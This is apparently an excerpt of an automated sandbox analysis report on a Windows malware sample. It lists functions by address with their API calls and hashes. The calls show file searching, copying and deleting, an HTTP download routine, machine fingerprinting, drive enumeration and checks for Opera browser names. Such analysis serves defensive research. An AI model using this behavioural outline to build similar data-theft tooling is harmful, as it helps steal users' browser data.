StrCmpCA.SHLWAPI(?,003F01D8), ref: 003E5F16
wsprintfA.USER32 ref: 003E5F3B
StrCmpCA.SHLWAPI(?,003F01E9), ref: 003E5F4A
wsprintfA.USER32 ref: 003E5F67
wsprintfA.USER32 ref: 003E5F86
PathMatchSpecA.SHLWAPI(?,?), ref: 003E5F97
lstrcatA.KERNEL32(?,031D0848,?,000003E8), ref: 003E5FC3
lstrcatA.KERNEL32(?,003F01E0), ref: 003E5FD5
lstrcatA.KERNEL32(?,?), ref: 003E5FE3
lstrcatA.KERNEL32(?,003F01E0), ref: 003E5FF5
lstrcatA.KERNEL32(?,?), ref: 003E6009
CopyFileA.KERNEL32(?,00000000,00000001), ref: 003E60AA
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,003F01E9), ref: 003E6119

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003E42A0: Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
Part of subcall function 003E42A0: CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
Part of subcall function 003E42A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

FindNextFileA.KERNEL32(?,?), ref: 003E6160
FindClose.KERNEL32(?), ref: 003E6172

Strings

%s\%s, xrefs: 003E5F35, 003E5F80
%s\*, xrefs: 003E5EB6

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyCreateDeleteFirstMatchNextObjectPathSingleSleepSpecThreadWaitlstrcpy
String ID: %s\%s$%s\*
API String ID: 103870964-2848263008
Opcode ID: d55aea4ed9941194b1f37de2b250e8bc5f615175c5daeb8d9dabba61c4e38d94
Instruction ID: f9b2161c60269cedb1c729d2c1186ee179d22cc4a41f7a7bd1a4ffb0105107e1
Opcode Fuzzy Hash: d55aea4ed9941194b1f37de2b250e8bc5f615175c5daeb8d9dabba61c4e38d94
Instruction Fuzzy Hash: 4F8182B2910218AFCB15EBB0DC85DFE777DBF44300F448669F506A6191EF70AA48CBA1

Function 003EBD50 Relevance: 25.1, APIs: 12, Strings: 2, Instructions: 634COMMON

Download Yara Rule

Strings

UT, xrefs: 003EC032
/, xrefs: 003EBDEC

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 23b9858b46c0511f1175fb2f8166fb0ffe1630a81fd9f5c34eb21095d733b575
Instruction ID: 7c8d395454818970b60dd89156ee4a9d467d2627e7f76c13f60143b6b756ddd3
Opcode Fuzzy Hash: 23b9858b46c0511f1175fb2f8166fb0ffe1630a81fd9f5c34eb21095d733b575
Instruction Fuzzy Hash: 9C42F971A003A98FCB26CF6AD8807EEB7B5BF55300F1581AAE84897381D7749E45CF90

Function 003D5010 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D5062
StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,?), ref: 003D507A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D50A2
HttpOpenRequestA.WININET(00000000,GET,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D50DC
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D5100
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D510F
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 003D512E
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003D5177
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 003D51C5
InternetCloseHandle.WININET(00000000), ref: 003D51D0
InternetCloseHandle.WININET(?), ref: 003D51DA
InternetCloseHandle.WININET(00000000), ref: 003D51E4

Strings

GET, xrefs: 003D50D6
ERROR, xrefs: 003D513B

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$FileOpenReadRequestlstrcpy$ConnectCrackInfoOptionQuerySendlstrlen
String ID: ERROR$GET
API String ID: 1863336362-3591763792
Opcode ID: 34ba724f9b0777d7891daaf0b9a60b2d67c7fb0e8392d6bd0c4ede696585fdea
Instruction ID: 8c5c42cfff65a5f4183206aa7f452e486a7a0cc1ea34002c6cb58ded0f66e4ae
Opcode Fuzzy Hash: 34ba724f9b0777d7891daaf0b9a60b2d67c7fb0e8392d6bd0c4ede696585fdea
Instruction Fuzzy Hash: 3851C372A406086FEB11DBA0DC46FFE7779EF44700F148129F606AB2D1DB74AA048BA1

Function 003D1110 Relevance: 23.4, APIs: 12, Strings: 1, Instructions: 658fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003F01E0,?,003D1CE9,?,003F01E0,?,?,00000000,?,00000000), ref: 003D12D9
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003D12FC
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003D1316
FindFirstFileA.KERNEL32(00000000,?,?,?,?,003F01E0,?,003D1CE9,?,003F01E0,?,?,?,003F01E0,?,?), ref: 003D140D

Part of subcall function 003E0D50: SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

DeleteFileA.KERNEL32(00000000), ref: 003D1668
FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 003D16A4
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 003D16B3
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D15F6

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,003DBA32,?,00000000,?,00000000,00000000), ref: 003D6C3F
Part of subcall function 003D6C20: GetFileSizeEx.KERNEL32(00000000,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C55
Part of subcall function 003D6C20: LocalAlloc.KERNEL32(00000040,?,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C70
Part of subcall function 003D6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C89
Part of subcall function 003D6C20: CloseHandle.KERNEL32(00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CB1

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D18F5

Part of subcall function 003D6C20: LocalFree.KERNEL32(?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CA9

DeleteFileA.KERNEL32(00000000), ref: 003D1967
FindNextFileA.KERNEL32(00000000,?), ref: 003D19A8
FindClose.KERNEL32(00000000), ref: 003D19B7

Part of subcall function 003E42A0: Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
Part of subcall function 003E42A0: CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
Part of subcall function 003E42A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003E0D10: GetFileAttributesA.KERNEL32(00000000,?,?,003DB844,?,00000000,?,00000000,003F01E9,003F01E9), ref: 003E0D1D

Part of subcall function 003E0B80: GetSystemTime.KERNEL32(003F01E9,031D69A0,003F01E9,?,00000030,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003E0BA9

Strings

\*.*, xrefs: 003D11EB

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2220404975-1173974218
Opcode ID: fb25581bb5cc288827615ced4dbc8f8ade365b61de2606f41475422598047329
Instruction ID: 0b58df669b9aaab28750ebd172e919eef4652ee12eed56b197ca9fe30002b861
Opcode Fuzzy Hash: fb25581bb5cc288827615ced4dbc8f8ade365b61de2606f41475422598047329
Instruction Fuzzy Hash: 1E32E2779101586FDB1AEBB0EC92EEE7378AF54300F44456AF5076A291EF306B48CB61

Function 003E56C0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 137stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003E56DF
FindFirstFileA.KERNEL32(?,?), ref: 003E56F6
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003E571C
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003E5736
lstrcatA.KERNEL32(?,031D0848,?,00000104,?,00000104), ref: 003E5774
lstrcatA.KERNEL32(?,031D0828), ref: 003E5788
lstrcatA.KERNEL32(?,?), ref: 003E579C
lstrcatA.KERNEL32(?,?), ref: 003E57AA
lstrcatA.KERNEL32(?,003F01E0), ref: 003E57BC
lstrcatA.KERNEL32(?,?), ref: 003E57D0

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003D6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,003DBA32,?,00000000,?,00000000,00000000), ref: 003D6C3F
Part of subcall function 003D6C20: GetFileSizeEx.KERNEL32(00000000,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C55
Part of subcall function 003D6C20: LocalAlloc.KERNEL32(00000040,?,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C70
Part of subcall function 003D6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C89
Part of subcall function 003D6C20: CloseHandle.KERNEL32(00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CB1

Part of subcall function 003E42A0: Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
Part of subcall function 003E42A0: CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
Part of subcall function 003E42A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

FindNextFileA.KERNEL32(00000000,?), ref: 003E5863
FindClose.KERNEL32(00000000), ref: 003E5872

Strings

%s\%s, xrefs: 003E56D9

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeSleepThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1833283839-4073750446
Opcode ID: 82e0b9efee203acb7c0b974881ef8c2d59cd7bdc74ed2f3c798b67c6960c47b7
Instruction ID: 5798d2fc7effb9790dcbbaaca1da5ff6509bc6027d2e8da3f946fd6ef75c0078
Opcode Fuzzy Hash: 82e0b9efee203acb7c0b974881ef8c2d59cd7bdc74ed2f3c798b67c6960c47b7
Instruction Fuzzy Hash: 9D4198B655021CABCB15EFB0DC85DEE737DAF44300F4486A9F60696191EB709B48CF61

Function 003E0420 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003E043C
GetVolumeInformationA.KERNEL32({k>,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003E0475
GetProcessHeap.KERNEL32(00000000,00000104), ref: 003E04BF
HeapAlloc.KERNEL32(00000000), ref: 003E04C6
wsprintfA.USER32 ref: 003E04F9
lstrcatA.KERNEL32(00000000,003F38B4), ref: 003E0508
GetCurrentHwProfileA.ADVAPI32(?), ref: 003E0515
lstrlenA.KERNEL32(00000000,Unknown), ref: 003E053E
lstrcatA.KERNEL32(00000000,00000000), ref: 003E0568

Strings

{k>:\, xrefs: 003E057F, 003E04D2
C, xrefs: 003E0446
{k>, xrefs: 003E0464, 003E0467
Unknown, xrefs: 003E0528

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryInformationProcessProfileVolumeWindowslstrlenwsprintf
String ID: C$Unknown${k>${k>:\
API String ID: 3099411152-3015259627
Opcode ID: 38e962e29266f5e537918c2244e2bd63b6869fc11a62be7c3eba968fddffeb5c
Instruction ID: f27d7f3abeca2d72387db68268bec41b3c7a6a509c25d3ffbfc8277527c8a189
Opcode Fuzzy Hash: 38e962e29266f5e537918c2244e2bd63b6869fc11a62be7c3eba968fddffeb5c
Instruction Fuzzy Hash: CA41D372A00268AFDB05EBA4DC46FEE777CAF04700F148655F505BB291EBB45A04CBB2

Function 003E53C0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 161stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 003E541D
memset.MSVCRT ref: 003E543E
GetDriveTypeA.KERNEL32(00000000,?,?,00000000), ref: 003E5447
lstrcpyA.KERNEL32(?,00000000,?,?,00000000), ref: 003E5466
lstrcpyA.KERNEL32(?,00000000,?,?,00000000), ref: 003E5484
lstrcpyA.KERNEL32(?,00000000,?,?,?,?,?,00000000), ref: 003E54A7
lstrlenA.KERNEL32(00000000), ref: 003E550E

Strings

%DRIVE_FIXED%, xrefs: 003E548B
*%DRIVE_FIXED%*, xrefs: 003E53CF
%DRIVE_REMOVABLE%, xrefs: 003E546D
pV>, xrefs: 003E5572, 003E55AC, 003E54F7, 003E54FC, 003E5577
*%DRIVE_REMOVABLE%*, xrefs: 003E53EE

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Drive$LogicalStringsTypelstrlenmemset
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*$pV>
API String ID: 1884655365-2265448801
Opcode ID: b9a36495cd368a9932608ab47d02ede6cf008b4ebda4c338c7aaf7165ac0977c
Instruction ID: e283f0d499fd44a98252fe6e60338c5483a902394c7cd6cf6070faac7e1fc772
Opcode Fuzzy Hash: b9a36495cd368a9932608ab47d02ede6cf008b4ebda4c338c7aaf7165ac0977c
Instruction Fuzzy Hash: F95162765002586FDB26EF71DC86FFE336DAF44304F548125FA0A6A292DF706A09CB61

Function 003DA2C0 Relevance: 19.8, APIs: 7, Strings: 4, Instructions: 512fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,003F01E9,00000000,?,?), ref: 003DA322
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003DA34C
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003DA366
StrCmpCA.SHLWAPI(00000000,Opera,003F01E9,003F01E9,003F01E9,003F01E9,003F01E9,003F01E9,003F01E9), ref: 003DA3DD
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 003DA3F1
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 003DA405

